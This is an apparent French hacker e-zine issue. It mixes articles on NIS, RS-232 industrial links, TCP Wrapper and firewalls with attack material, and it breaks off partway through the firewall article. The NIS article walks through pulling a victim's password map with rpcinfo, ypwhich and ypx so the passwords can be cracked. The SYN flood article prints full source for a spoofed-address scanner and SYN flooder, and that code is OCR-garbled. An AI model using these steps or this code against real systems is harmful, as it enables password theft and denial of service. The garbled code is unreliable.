Disclamer:

Ce texte est fourni au lecteur a titre purement educatif et informatif. En

aucun cas les auteurs n'incitent ce dernier au non-respect de la loi, sous

toute forme qu'il soit.

Ce texte est destine uniquement aux personnes auxquelles les auteurs l'ont

remis, en consequence il peut etre considere comme une communication privee

des auteurs avec ces personnes.

Toute organisation representant un ordre quelconque ou toute agence de

renseignement est consideree comme etrangere aux personnes autorisees a lire

ce texte et en consequence aucune poursuite ne pourra être faite contre les

auteurs pour leur publication.

 

 

 

SOMMAIRE

 

1. NIS

--(by joker)

2. Les réseaux industriel

--(by eisti)

3. SYN flood

 

4. TCP wrapper

--(by stéphane)

5. firewall

--(by Trom)

6. faille sur ifrance

--(by joker)

7. Netbus

--(by thor)

8. Cracker le pass de l’écran de veille

--(by thor)

9. Génèse du hacking

--(KuN Sh@doW)

10. Exemple de hack n°2

--(by joker)

11. Espion win98

--(by joker)

12. Anonymail

--(by thor)

13. Emulateur T1G

--(by QuanTum)

14. Javascript

--(by joker)

15. C (cours 1)*

--(by joker)

16. le plastic

--(by thor)

17. Faire chier un gas

--(by thor)

18. Les caniches

--(by thor)

19. Notre group

--(by lightning jokers)

20. Mots de la fin

--(by joker)

 

 

 

 

INTRO

 

Bonjour tout le monde. Nous revoilà encore une fois ! j’espère que le n°3 vous aura plus, moi je l’ai trouvé de qualité. J’espère que ce n°4 vous plaira autant ?! Notre group comporte maintenant une bonne douzaine de membres, j’ai fais un petit article pour vous présenter le group. De plus on s’associe avec d’autres groups français, en tout on est une 40aine !J. si vous avez un group, ou si vous êtes seul et que vous avez des connaissances et bien joignez vous à nous ! contacter moi par mail. Si vous avez des commentaire ou si vous voulez écrire dans ce zine, bah contacter moi.

Au sujet du zine n°3, ya eu de nombreuses critiques, je vais en tenir compte. Notamment sur l’article « comment choper des CB » la technique n°3 que j’ai présenté. Ya eu 3, 4 critiques sur cet article, ce qui ma pousser a le relire, et j’avoue que c pas terrible ce que j’ai fais, surtout que je l’ai jamais fais en vrai ( c un pot qui la fais) et moi je vous dis de le faire. Alors je m’excuse franchement pour cet article. Je vous promet qu’il y aura plus d’article de ce genre à l’avenir. Bon je vais arrêter là je crois que je me suis assez descendu ! Bon voilà.

 

Ps : Thor change de pseudo : GlÄdIÄThÖR

 

 

NIS

 

 

NIS est un système client/serveur basé sur les RPCs qui permet à un groupe de machine d'un domaine NIS de partager un ensemble de fichiers de configuration communs. L'administrateur système peut ainsi mettre en place des clients NIS en n'ayant qu'un minimum de configuration à faire et ajouter, modifier ou supprimer des informations de configuration de façon centralisée.

 

Dans un environnement NIS, il y a trois types de machines : les serveurs maîtres, les serveurs esclaves et les clients. Les serveurs centralisent les informations de configuration des machines. Les serveurs maîtres détiennent l'exemplaire de référence de ces informations, tandis que les serveurs esclaves en ont un double pour assurer la redondance. Les clients attendent des serveurs qu'ils leur fournissent ces informations.

Le contenu de nombreux fichiers peut être ainsi partagé. Les fichiers master.passwd, group et hosts sont fréquemment partagés par NIS. Chaque fois qu'un processus d'une machine cliente a besoin d'une information qu'il trouverait normalement localement dans un de ces fichiers, il émet une requête au serveur auquel il est rattaché pour obtenir cette information.

 

Bon voilà, maintenant vous savez se que c que NIS. Maintenant passons au chose sérieuse :

 

Bon pour le hack, NIS nous est bien utile, je vais vous montrer comment.

Tout d’abord faites un rpcinfo sur la victime :

 

rpcinfo -p www.victim.com

   program  vers  proto  port

   100004      2    tcp   673  ypserv

   100005      1    udp   721  mountd

   100003      2    udp  2049  nfs

   100026      1    udp   733  bootparam

 

(j’avais pas d’exemple personnel, alors celui ci est extrais de Noroute 2)

 

le ypserv veut dire qu’il y a NIS. Une petite explication, NIS se dis aussi Yellow Pages (YP) ok ?! le bootparam veut dire            que la machine boot en pointant sur un DHCP pour obtenir une ip ou sur un serveur pour charger l’OS. Maintenant il vous faut le nom de domaine, Ce n'est pas le ``nom de domaine'' dont vous avez l'habitude. Il est plus exactement appelé ``nom de domaine NIS''. Quand un client diffuse une requête pour avoir des informations, il y inclut le nom du domaine NIS auquel il appartient. C'est ainsi que plusieurs serveurs d'un même réseau peuvent savoir lequel doit répondre à quelles requêtes. Voyez le nom de domaine NIS comme celui d'un groupe de machine qui sont reliées entre elles.

Certains prennent comme nom de domaine NIS leur nom de domaine Internet. Ce n'est pas conseillé parce que c'est une source de confusion quand il faut résoudre un problème. Le nom de domaine NIS doit être unique sur le réseau et il est utile qu'il décrive les machines qu'il représente. Par exemple, le département artistique d'Acme Inc. pourrait avoir "acme-art" comme nom de domaine NIS.

 

Pour tester des noms de domaine, faites :

 % ypwhich -d victim  www.victim.com

serv-nis.victim.com

 

La version de référence de toutes les informations gérées par le NIS est archivée sur une seule machine appelée serveur NIS maître. Les bases de données utilisées pour cela sont appelées des tables NIS. Sous FreeBSD, elles se trouvent dans /var/yp/[nom_de_domaine][nom_de_domaine] est le nom du domaine NIS concerné. Un seul serveur NIS peut gérer plusieurs domaines, il peut donc y avoir plusieurs de ces répertoires, un pour chaque domaine. Chaque domaine aura sont propre jeu de tables.

Les serveurs NIS maîtres et esclaves traitent toutes les requêtes NIS via le ``démon'' ypserv. ypserv reçoit les requêtes des clients NIS, traduit le nom de domaine et les noms de tables en chemin d'accès à la base de données correspondante et transmet l'information de cette base de données au client.

 

Vous aurez compris que c’est ces tables qui nous intéresse.

Ce qui nous intéresse c’est la carte passwd.byname, qui contient tous les password.

Pour récupérer ce fichier vous aurez besoin d’un programme appeler ypx (chercher sur le net).

Donc avec ypx faites :

% ypx -d serv-nis.victim.com victim -m passwd.byname

 

sauvegarder le fichier et cracker le. Voilà !J

 

ok, mais …

Dans certains cas, vous arriverez a rien. Pourquoi ? et bah lisez ce qui va suivre.

 

D'une façon générale, n'importe quel utilisateur distant peut émettre une requête NIS pour voir le contenu des tables NIS, s'il connaît le nom de domaine NIS. Pour éviter des transactions non autorisées, ypserv dispose d'une fonctionnalité appelée securenets qui peut être utilisée pour en restreindre l'accès à un ensemble défini de machines. Quand il démarre, ypserv essaye de charger ces informations depuis le fichier /var/yp/securenets.

   
    # autorise les connexions depuis la machine locale -- obligatoire
    127.0.0.1     255.255.255.255
    # autorise les connexions de n'importe quelle machine
    # du réseau 192.168.128.0
    192.168.128.0 255.255.255.0
    # autorise les connexions de n'importe quelle machine
    # entre 10.0.0.0 et 10.0.15.255
    10.0.0.0      255.255.240.0

Si ypserv reçoit une requête d'une machine qui satisfait à ces règles, il la traite normalement. Si l'adresse ne remplit pas les conditions, il ignore la requête et émet un message d'avertissement. S'il n'y a pas de fichier /var/yp/securenets, ypserv autorise les requêtes venant de n'importe quelle machine.

 

By   The JokeR, Noroute, et d’autres articles venant du net.

       (je n’est en aucun cas fait cet article seul)

 

 

Réseau industriel

 

But du cours

Nous allons aborder dans ce cours des problèmes de réseaux industriels.

Différence entre un réseau et un réseau industriel

Un réseau industriel joue le même rôle qu'un réseau normal. Le but premier est toujours de transmettre des informations entre plusieurs machines. Lorsque l'on parle de réseaux, on sous-entend généralement que les machines sont des ordinateurs. Lorsque l'on parle de réseaux industriels, il s'agit de faire communiquer des machines qui ne sont plus seulement des ordinateurs. On fait communiquer des appareils différents tels que des ordinateurs, des automates programmables, des appareils de mesures, des équipements spécifiques (fours, commandes numériques, ascenseurs, ...).

Le qualificatif d'industriel pour un réseau sous-entend également un environnement particulier. L'environnement d'un réseau industriel est en général un environnement perturbé. C'est environnement est souvent pollué par des ondes électromagnétiques provenant des différents appareils (moteurs, courants forts, champs magnétiques,...). Tous ces phénomènes sont à prendre en compte dans la couche 1 du modèle OSI.

Liaison série ou liaison parallèle.

Pour relier 2 machines entre elles il existe plusieurs méthodes. L'une est dite liaison parallèle. Elle consiste à envoyer plusieurs informations élémentaires en même temps en utilisant plusieurs conducteurs. Cette méthode est très peu utilisée. L'autre est dite Liaison Série. Les données sont envoyées bit par bit les uns à la suite des autres ( ex: liaison série des PC, Ethernet,...)

Liaison série asynchrone

Les liaisons séries asynchrones sont très utilisées. La plus connue est celle qui est utilisée sur les PC. Asynchrone signifie que les données sont envoyées de l'émetteur vers le récepteur sans négociation préalable. C'est au récepteur de se synchroniser sur l'émetteur. Pour ce faire l'émetteur doit envoyer un bit de START ses données(de 5 à 8 bits) suivies ou non d'un bit de parité et de 1 ou plusieurs bits de stop. Pour qu'une liaison série fonctionne, il est nécessaire de configurer les 2 extrémités pour que qu'elles utilisent la même parité, le même nombre de bits de stop (1 1,5 ou 2) la longueur des données échangées (5,6,7, ou 8 bits).

La norme RSC232 définit les valeurs des tensions que doivent fournir et reconnaître les interfaces séries des matérielles.

Généralement, les signaux envoyés sont compris entre -12 et + 12 V.
Sur une liaison série au repos on doit observer un 1 logique.
Pour faire un échange de données bidirectionnel entre 2 liaisons séries RS232C il faut au minimum 3 fils.

Cette liaison a 3 fils est une liaison minimum. Elle nécessite une collaboration logicielle active entre les 2 machines pour contrôler le transfert des informations. Un mécanisme souvent utilisé est le protocole XON XOFF.

La liaison série RS232C sur PC connecteur 25 points

Broche

NOM

Sens

1

FG

 

2

TX

Sortie

3

RX

Entrée

4

RTS

Sortie

5

CTS

Entrée

6

DSR

Entrée

7

SG

 

8

DCD

Entrée

20

DTR

Sortie

22

RI

Entrée

La liaison série RS232C sur PC connecteur 9 points

 

Broche

NOM

Equivalence en db 25

1

DCD

8

2

RX

3

3

TX

2

4

DSR

20

5

SG

7

6

DSR

6

7

RTS

4

8

CTS

5

9

RI

22


Description des signaux


FG : Masse châssis
TX : Transmission des données
RX : Réception des signaux
RTS : Demande de Transmission
CTS : Prêt à émettre
DSR : Emetteur prêt
SG : Masse Electrique
DCD : Détection de porteuse
DTR : Terminal prêt
RI : Indicateur de sonnerie.

Le signal FG est utilisé par des câbles blindés.
Le signal SG est la masse électrique qui doit être utilisée pour comparer les valeurs des autres signaux.
Sur la broche TX, l'émetteur émet les données
Le signal RTS est positionné par l'émetteur lorsque ce dernier veut émettre des données.
Le signal DTR est positionné par l'émetteur pour signaler au récepteur qu'il est en ligne.
Sur la broche RX, le récepteur reçoit les données.
Le signal RTS indique à l'émetteur que son correspondant est prêt à recevoir des données.
Le signal DSR indique que l'émetteur est toujours présent.
DCD indique que la porteuse est présente.
RI indique une sonnerie.

A première vue ces signaux peuvent paraître redondants ou inutiles pour une communication entre 2 machines, mais ils sont très pratiques pour une communication entre 2 machines reliées par le RTC via des modems utilisant un protocole matérielle.

 

Sur TX/RX, circulent les données qui sont échangées entre l'émetteur et le récepteur.
RTS et CTS fixe la communication entre l'émetteur et son modem (ou le récepteur et son modem ).
DSR sur l'émetteur signifie que le récepteur est toujours présent.
DCD indique à l'émetteur que la porteuse utilisée sur le RTC est présente (donc que le modem 2 n'a pas raccroché).
DTR indique au modem que l'émetteur est près à échanger des informations avec le modem.
RI indique au récepteur que le modem détecte une sonnerie.

Différents câblages RS232

Câblage DTE /DCE

Pour relier 2 équipements via une liaison série la norme RS232 prévoit 2 brochages différents (DTE et DCE). Le brochage type DTE (Data Terminal Equipement) doit être utilisé pour des équipements terminaux. Le brochage type DCE (Data Control Equipement) est normalement utilisé pour des équipements intermédiaires utilisés sur des liaisons (modems,...). Le brochage DTE normalisé est, celui décrit sur les connecteurs à 25 points des PC. Le brochage DCE est très simple, sur le connecteur DB25 de l'équipement on retrouve les mêmes signaux en les croisant.

Pour relier un équipement DTE (PC, terminal, imprimante,..) à un équipement DCE (modem), il suffit donc de relier la broche 1 à la broche 1,.... la broche 22 à la broche 22.

Comment différencier un équipement DTE d'un équipement DCE sans documentation?

Astuce : au repos (sans connexion) un 1 logique doit être observé sur la broche TX. Si l'équipement est DTE on doit donc trouver une tension négative entre la broche 2 et la broche 7 du connecteur 25 points. Si l'équipement est de type DCE, la tension négative doit se trouver entre les broches 3 et 7.

Câblage DTE/DTE

IL n'est pas toujours nécessaire d'utiliser des modems pour relier deux équipements par des RS232C. La norme RS232C spécifie que l'on doit pouvoir( avec des câbles blindés et de tension de 40V) atteindre 150m . En pratique avec une distance supérieure à 10 ou 15m on commence à avoir des problèmes. Si les équipements sont à moins de 10 m, il est tout à fait possible de les relier sans passer par modem. Il s'agit de réaliser un câble Null Modem. Malheureusement il existe une multitude de types de câbles Null modem. Il faut savoir si les équipements terminaux utilisent un protocole matériel (type RTS/CTS) ou un protocole logiciel (type XON XOFF)

Différents protocoles

Protocole Matériel

Un des protocoles le plus utilisé est celui qui tous les signaux de la RS232

Lorsque l'émetteur veut émettre ses donnés, il doit positionner la ligne RTS pour demander aux récepteur s'il est prêt à accepter ces données. Le récepteur lorsqu'il est prêt à recevoir les données va envoyer le signal DSR de l'émetteur pour lui indiquer qu'il est prêt. Lorsque l'émetteur veut suspendre l'émission, il va enlever le signal DSR de l'émetteur.

Protocole XON/XOFF

Ce protocole ne nécessite qu'une liaison sur 3 fils. Le reste de la négociation entre l'émetteur et le récepteur pour échanger des données ce fait par logiciel. Ce protocole est basé sur les caractères XON (ASCI 11H) et XOFF (ASCI 13H).

Le récepteur gère un buffer. Lorsque son buffer est plein à 80 % le récepteur envoie le caractère XOFF. L'émetteur lorsqu'il reçoit le caractère XOFF doit immédiatement suspendre son émission. Lorsque l'émetteur a vidé sont buffer à 50% il envoie un caractère XON à l'émetteur. A la réception de XON l'émetteur peut reprendre son émission. Il est possible que l'émetteur ne reçoive pas ou perde les caractères XON/ XOFF. Pour pallier à ces problèmes, lorsque l'émetteur n'a pas reçu de caractères depuis un certain temps, ce dernier peut reprendre de sa propre initiative le transfert. Si le récepteur n'est pas d'accord, ce dernier pourra toujours réemmettre un XOFF.

 

 

SYN Flooding

 

 

Les ordinateurs connectés en permanence à Internet sont des points stables, susceptibles d'être rendus indisponibles. La technique a la mode en ce moment c le DOS (bien que je pense que les modes sont des trucs de con !!).

 

Il s'agit d'exploiter la façon dont les serveurs Internet communiquent entre eux : imaginez que 200 personnes fassent la queue pour vous serrer la main, les unes derrière les autres. D'une part vous seriez fatigués à la 50ème  et d'autre part vous n'auriez pas le temps de faire autre chose.

 

La "poignée de main" est une pratique courante entre deux ordinateurs désirant communiquer sur Internet : elle comporte trois temps (vous devez déjà le savoir mais bon ça sera un petit rappel) :

 

0) Détermination du « port » de communication

1) SYN

2) SYN/ACK

3) ACK

 

(si vous voulez en savoir plus sur le protocole TCP/IP, lisez nos précédents zines et tout les autres zines qui peuvent exister sur le sujet. Croyez moi ils sont nombreux.)

 

si le dernier paquet n’est pas reçu, la machine va l’attendre…
donc vous vous allez envoyer d’autre paquets SYN, donc la machine va attendre de plus de paquets de réponse ; et c’est ainsi que la file d’attente de connexion a la machine se rempli !

Cette file d'attente des connexions à confirmer comporte une limite haute (dépendante du système d'exploitation) : au delà de ce nombre maximal, toute nouvelle demande de connexion (sur le "port" concerné) va être rejetée.

Donc si vous envoyer autant de paquets que nécessaire et bien le serveur va rejetée tout autre demande de connexion et sera ainsi rendu HS.
Il existe de nombreuses autres solutions pour rendre des ordinateurs indisponibles, le "Ping flooding" étant une variante du Syn flooding, mais avec des paquets ICMP.

 

 

 

La réponse des éditeurs de systèmes d'exploitations ou de Firewalls est :
- d'inciter leurs clients à administrer leurs systèmes
- de proposer des mécanismes d'analyse et d'ajustement dynamique des "files d'attentes de connexion". Les produit de Livermore Software (Portus Firewall) ou d'ISS (Realsecure) proposent ainsi ce genre de fonctionnalités.

 

La réponse des consultants en sécurité est d'analyser en temps réel la source des attaques et de soit l'exclure des connexions admises par le Firewall (si il existe) soit plus simplement de répliquer à l'attaque.

Ainsi, selon l'éditeur de Phrack Magazine

"Another way to detect and eradicate SYN floods:
Kernel mod or daemon that will:
-listen for all incoming SYNs
-keep a list of the x most recent incoming SYNs (x=backlog?)
-if x amount of connection-requests take more than y amount of time
to complete and(other heuristics)
-x SYNs arrived in z time relative to each other.
-x SYNs have a,b,c features in common (source IP addr,TTL,port,seq#)
-etc...
-DROP them, reset the connections, free the associated memory structur"

 

Ci -après le code source complet d'un programme permettant de réaliser des attaques en Synflood

 Jason Fairlane pourra vous en dire plus...

 

This program was written for, and tested on, a Linux machine
with a kernel patch in place to allow ip source address
spoofing. It will most likely not work on any other
architecture. If you happen to port it to another
architecture, contact me at: jfair@2600.com.

 

OS Version Default Configurable?

Solaris 2.5 1024 Yes
Windows NT ALL 110 No
Solaris 2.4 32 Yes
Solaris 2.0-2.3 8 Yes
SunOS ALL 8 Yes
Generic SVR4 ALL 8 Maybe (*)
Generic BSD 4.3/4.4 8 Maybe (*)
Linux ALL 5 Yes

(*) = Depending on the implementation

_______________________________________________________________

/* !!THIS PROGRAM IS EXTREMELY DANGEROUS!! NO GUIDELINES
* ARE PROVIDED FOR THE CODE CONTAINED HEREIN. IT IS MERELY
* A DEMONSTRATION OF THE POSSIBLE DESTRUCTIVE USE OF IP
* SPOOFING TECHNIQUES. THE AUTHOR CLAIMS NO RESPONSIBILITY
* FOR ITS USE OR MISUSE. - JF (3/8/96)
*/



#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <sys/types.h>
#include <svs/socket.h>

#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/protocols.h>

#include <arpa/inet.h>
#include <netdb.h>

#define PACKET_SIZE sizeof(struct tcppkt)

/+ Configurable defaults. These are specifiable via the command line. */
#define DEF_BADDF "l32.45.6.8"
#define DEF_SYNS 32
#define DEF_MAX 32768 /* (See Accompanying Table) */
#define DEF_LOW

struct tcppkt {
struct iphdr ip;
struct tcphdr tcp;
};

u short ports[DEF_MAX];

void
usage(progname)
char *progname;
{
fprintf(stderr, "Hostlock v.0l\n");
fprintf(stderr, "Usage: %s <Target> [options]\n", progname);
fprintf(stderr, "Options:\n\
-b [addr]\tAddress from which the SYNflood packets should appear to be.\n\
\t\tThis address should have correct routing records, but not exlst.\n\
-l [port]\tPort to begin scanning from.\n\
-h [port]\tPort to end scanning on.\n\
-d [port]\tSpecific port to flood.\n\
-n [syns]\tNumber of SYN packets to flood with.\n");

exit(l);
}

u_long
resolve(host)
char *host;
{
struct hostent *he;
u_long addr;

if( (he = gethostbyname(host)) == NULL) {
addr = inet_addr(host);
} else {
bcopy(*(he->h_addr_list), &(addr), sizeof(he->h_addr_list));
}
return(addr);
}

/* From ping.c */
/*
*in cksum -
* Checksum routine for Internet Protocol family headers (C Version)
*/
unsigned short in_cksum(addr, len)
u_short *addr
int len;
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;

while (nleft > l) {
sum += *w++;
nleft -= 2;
}

if (nleft == l) {
*(u_char *)(&answer) = *(u_char *)w ;
sum += answer;
}

sum = (sum >> l6) + (sum & 0xffff);
sum += (sum >> l6);
answer = -sum;
return(answer);
}

int
sendsyn(sin, s, saddr, sport, seq)
struct sockaddr_in *sin;
u_long saddr, seq;
u_short sport;
int s;
{
register struct iphdr *ip;
register struct tcphdr *tcp;
register char *php;
static char packet[PACKET_SIZE];
static char phead[PACKET_SIZE + l2];
u_short len = 0;

/* Overlay IP header structure onto packet. */
ip = (struct iphdr *)packet;

/* Fill in IP Header values. */
ip->ihl = 5;
ip->version = 4;
ip->tos = 0;
ip->tot_len = htons(PACKET_SIZE)
ip->id = htons(2600 + (rand()%32768));
ip->frag_off = 0;
ip->ttl = 255;
ip->protocol = IPPROTO_TCP;
ip->check = 0;
ip->saddr = saddr;
ip->daddr = sin->sin_addr.s_addr;

/* The Linux kernel automatically checksums outgoing raw packets.
* however, other implementations might not, so if you are porting,
* remember to uncomment this line.
* ip->check = in_cksum((char *)&ip, sizeof(struct iphdr));
*/

/* Overlay TCP Header structure onto packet. */

tcp = (struct tcphdr *)(packet + sizeof(struct iphdr));

/* Fill in TCP Header values. */
tcp->th_sport = htons (sport);
tcp->th_dport = htons (sin->sin_port);
tcp->th_seq = htonl(seq);
tcp->th_ack = 0;
tcp->th_x2 = 0;
tcp->th_off = 5;
tcp->th_flags = TH_SYN;
tcp->th_win = htons(l0052);
tcp->th_sum = 0;
tcp->th_urp = 0;

php = phead;
memset(php, 0, PACKET_SIZE + l2);
memcpy(php, &(ip->saddr), 8);
php += 9;
memcpy(php, &(ip->protocol), l);
len = htons(sizeof(struct tcphdr));
memcpy(++php, &(len), 2);
php += 2;
memcpy(php, tcp. sizeof(struct tcphdr));

/* Now fill in the checksum. */
tcp->th_sum = in_cksum(php, sizeof(struct tcphdr)+l2);

/* And send... */
return(sendto(s, packet, PACKET_SIZE, 0, (struct sockaddr *)sin
sizeof(struct sockaddr_in)));
}

int
synscan(saddr, sport, lo, hi, s, r, sin)
u_long saddr;
u_short sport, lo, hi;
int s, r;
struct sockaddr_in *sin;
{
struct tcppkt buf;
int i, total = 0;

for(i = lo ; i <= hi ; i++) {
sin->sin_port = i;
if( (sendsyn(sin, s, saddr, sport, 3l337)) == -l) {
perror("Error sending SYN packet");
exit(l);
}

for(;;) {
memset(&buf, 0, PACKET_SIZE);
read(r, &buf, PACKET_SIZE);
/* Is it from our target? */
if( buf.ip.saddr != sin->sin_addr.s_addr ) continue;

/* Sequence number ok? */
if( (ntohl(buf.tcp.th_ack) != 3l338) &&
(ntohl(buf.tcp.th_ack) != 3l337)) continue;

/* RST/ACK - No service listening on port. */
if( (buf.tcp.th_flags & TH_RST) &&
(buf.tcp.th flags & TH_ACK)) break;

/* SYN/ACK - Service listening on port. */
if( (buf.tcp.th_flags & TH_ACK) &&
(buf.tcp.th_flags & TH_SYN)) {
ports[total] = ntohs(buf.tcp.th_sport);
printf("%d\n", ports[total++]);
fflush(stdout);
break;

}

} /* for(;;) */
}
return(total);
}

void
synflood(baddr, bport, s. numsyns, sin)
u_long baddr;
u_short bport, numsyns;
int s;
struct sockaddr_in *sin;
{
int i;

printf("%d", sin->sin_port);
fflush(stdout);

for(i = 0 ; i < numsyns ; i++) {
usleep(30);
if( (sendsyn(sin, s. baddr, bport++, 3l337)) == -l) {
perror("Error sending SYN packet");
exit(l);
}
printf(",");
fflush(stdout);
}
printf("\n");
}

void
main(argc, argv)
int argv;
char **argv;
{
struct sockaddr_in sin;
u_long saddr, daddr, baddr;
u_short i, numsyns, lo, hi;
u_short sport = 2600, bport = 2600;
char buf[256];
int s, r, total;

total = numsyns = lo = hi = baddr = 0;

/* Minimum usage is "hostlock <target>" */
if(argc < 2) usage(argv[0]);

if( (daddr = resolve(argv[l])) == -l) {
fprintf(stderr, "Bad hostname/ip address: %s\n", argv[l]);
usage(argv[0]);
}

for(i = 2 ; i < argc ; i ++) {
switch(argv[i][l]) {
case 'b': case 'B':
if( (baddr = inet_addr(argv[++i])) == -l) {
fprintf(stderr, "Bad hostname/ip address: %s\n", argv[l]);
fprintf(stderr, "Defaulting to %s...\n", (DEF_BADDR);
baddr = inet_addr(DEF_BADDR);
}
break;
case 'l': case 'L':
lo = atoi(argv[++i]);
break;
case 'h': case 'H':
hi = atoi(argv[++i]);
break;
case 'd': case 'D':
hi = lo = atoi(argv[++i]);
break;
case 'n': case 'N':
numsyns = atoi(argv[++i]);
break;
default:
fprintf(stderr, "Unknown option: -%c\n", argv[i][l]);
usage(argv[0]);
break;
}
}

/* Institute defaults if these options have not been specified. */
if(!numsyns) numsyns = DEF_SYNS;
if(!lo) lo = DEF_LOW;
if(!hi) hi = DEF MAX;
if(!baddr) baddr = inet_addr(DEF_BADDR);

/* Fill in our sockaddr_in structure. */
sin.sin_family = PF_INET;
sin.sin addr.s_addr = daddr;
sin.sin port = 0;

if( (gethostname(buf. 256)) == -l) {
perror("Unable to get our hostname");
exit(l);
}

if( (saddr = resolve(buf)) == -l) {
perror("Unable to resolve our hostname");
exit(l);
}

/* Open our sending and receiving sockets. */
if( (s = socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("Unable to open a raw socket");
exit(l);
}

if( (r = socket(PF_INET, SOCK RAW, IPPROTO_TCP)) < 0) {
perror("Unable to open a raw socket");
exit(l);
}

printf("Performing hostlock on %s ports %d to %d. \n",
inet_ntoa(sin.sin_addr), lo, hi);

/* Scan. */
printf("Scanning...\n");
fflush(stdout);
total = synscan(saddr, sport, lo. hi, s, r, &sin);

printf("Scan completed. %d receiving ports found.\n", total);
sleep(2); /* Pause to let everything clear out. */

printf("Flooding ports with %d SYNs each...\n", numsyns);
fflush(stdout);

/* Flood. */
if( total ) {
for(i = 0 ; i < total ; i++) {
sin.sin port = ports[i];
synflood(baddr, bport, s, numsyns, &sin);
}
}

printf("Hostlock completed. Exiting.\n");

exit(0);
}


-----------

Thanks to XX

 

TCP Wrapper

 

Installation et configuration de TCP Wrapper

auteur : Stéphane TRAUMAT
site     : www.amenti.org
date    : 14 mai 2000


But et principe.

TCP Wrapper permet deux choses :

·  Enregistrer les requêtes de services.

·  Filtrer l'accès à ces services.

Voici en quelques mots le principe :
Toutes les applications "TCP/IP" (comme telnet, ftp..) sont en client/serveur. Généralement, sur les systèmes UNIX, on a un daemon qui attend les connexions entrantes. Lorsqu'une connexion s'établie, ce deamon éxecute le programme "serveur" correspondant et recommence à attendre une connexion.

Ce que fait TCP wrapper est simple, au lieu de lancer directement le deamon correspondant, il éffectue quelques vérifications et enregistre certaines données dans les fichiers logs.

Où télécharger TCP Wrapper ?

Le meilleur endroit pour télécharger TCP Wrapper est : http://csrc.nist.gov/tools/tools.htm

Installation

Une fois que vous aurez obtenu le fichier tar qui contient le code source et le makefile, compilez le démon TCPD . Puis placer le dans le même répertoire que les autres démons réseau.

Configuration

La configuration est relativement simple.
Editez le fichier /etc/inetd.conf et remplacez le chemin d'accès de chacun des démons de service réseau devant être sous contrôle par le chemin de TCPD. Par exemple, pour le démon finger, on a :

finger stream tcp nowait nobody /etc/in.fingerd in.fingerd

le 6 ème champs contient le chemin vers le démon finger, pour gérer ce service, il suffira de remplacer /etc/in.fingerd par /etc/tcpd comme cela :

finger stream tcp nowait nobody /etc/tcpd in.fingerd

Bon, je crois qu'il est grand temps que je vous dise comment ça va se passer.
Désormais, lorsque le démon Inetd reçoit une requête pour fingerd, il démarre TCPD à la place. TCPD enregistre alors la requête dans les logs, vérifie si le client est autorisé à utiliser le service et si oui, il démarre le démon finger pour répondre à la requête.

Vous pouvez de la même façon mettre sous contrôle tous les services lancés par inetd.

Les logs

TCP wrapper envoie toutes les informations au démon syslogd (fichier de config de syslogd : /etc/syslogd.conf). Généralement, le log de syslogd se trouve dans le répertoire /var/log/syslog.

Contrôle d'accès

Comme je vous l'ai déja signalé, TCPD permet non seulement d'enregistrer les requêtes mais aussi d'autoriser/interdire l'accès à certains services.
Pour déterminer les droits d'accès aux services, TCPD utilise deux fichiers de configuration :
/etc/hosts.allow qui contient la liste des hôtes autorisés à accéder aux services et /etc/hosts.deny qui est la liste des machines qui n'ont pas accès aux services.
Si les deux fichiers existent, TCPD explore le contenu du fichier /etc/hosts.allow puis le fichier /etc/hosts.deny jusqu'à ce qu'il trouve une règle qui s'applique au client et au service demandé. Un accès accordé par /etc/hosts.allow ne peut être remis en cause par /etc/hosts.deny.

Le format d'une ligne pour les fichiers de configuration est le suivant :

listeServices: listeMachines

listeServices est une liste de services réseau, séparés par des virgules. Ce sont des services auxquels l'accès est accordé ou refusé.
Chaque services est identifié par le nom du processus situé dans le septième champs d'une ligne de /etc/inetd.conf.

listeMachines est une liste de noms de domaines, de machines ou d'adresses IP séparée par des virgules.
Chaque système apparaissant dans cette liste à un accès autorisé ou réfusé aux services spécifiés dans listeServices.

Voici un exemple qui autorise toutes les machines du réseau Amenti.org à accédé aux services Ftp :

ftpd : .amenti.org

Deux mots clés éxistent pour ces fichiers : ALL qui signifie tout (il peut être utilisé dans listeServices ou listeMachines) et LOCAL (qui peut être utilisé seulement dans listeMachines) qui correspond à la machine locale.

Machine utilisée pour cette documentation

Machine : P166, 32 Mo de RAM
Système : Linux (debian)

Conclusion

C'est facile, TCP Wrapper est un daemon qu'il faut absolument installer sur son système :)
Même si vous ne souhaitez pas limiter l'accès aux services, il sera très utile pour enregistrer l'activité de votre serveur et détecter les intrusions.
Si vous avez des remarques, des questions, des demandes n'hésitez pas à m'écrire. Et si vous avez le temps, allez sur www.amenti.org pour d'autres documentations et des liens.
En ésperant vous avoir aidé, à plus !

Stéphane

 

 

Firewall

 

 

LES FIREWALLS PAR TROM

Kortex agency 1998

 

Cette documentation est à but purement éducatif , je ne pourrais pas être tenu responsable de son utilisation . De plus si vous avez des remarques à me faire , elles seront les biens venues ! J'invite tous les experts de sécurité à me contacter . En effet j'aurais quelques questions à poser , quelques théories à vérifier et quelques files à demander . Sur ceux je vous laisse à mon aide en espérant qu'elle étanchera un peu votre soif de savoir !

 

I Présentation . .

 

1/Objectf du firewall .

Les  firewalls  ont  obtenu  une grande renommée en matière de sécurité sur Internet . Ils ont deux objectifs  :

Þ Protéger le réseau interne contre les tentatives d'intrusion provenant de l'extérieur .

Þ Limiter et vérifier les connexions provenant du réseau interne vers extérieur .

 

2/Fonctionnement du Firewall .

Le principe du firewall est relativement simple . A l'origine un firewall est un système comportant deux interfaces réseau .(Je vous passe l'explication bidon du mot qui en fait nous vient de l'automobile)

              

INTERNET

 

FIREWALL

 

Réseau interne que l’on souhait protégé contre les méchants

 

 

 

Remarque : Il se peut que l'isolement de la totalité du réseau ne soit pasnécessaire . A ce moment le réseau à sécurisé est relie au sous réseau par un FW et le sous réseau est relié à Internet par un routeur . Dans ce cas la topologie ressemblerait plus à ça:

INTERNET

 

ROUTEUR

 

Ordis des secrétaires

 

firewall

 

Réseau interne que l’on veut protégé

 

 

 

 

 

Pour la suite on prendra le premier cas , celui ou l'on souhaite protéger tout le réseau local .On a en fait une interface interne reliée au réseau local et une interface externe reliée à Internet . L'ordinateur firewall peut atteindre à la fois le réseau protégé et Internet . Le réseau protège ne peut atteindre Internet et Internet  ne peut toucher le réseau protège .

 

3/Principale différence entre un FW et un routeur IP .

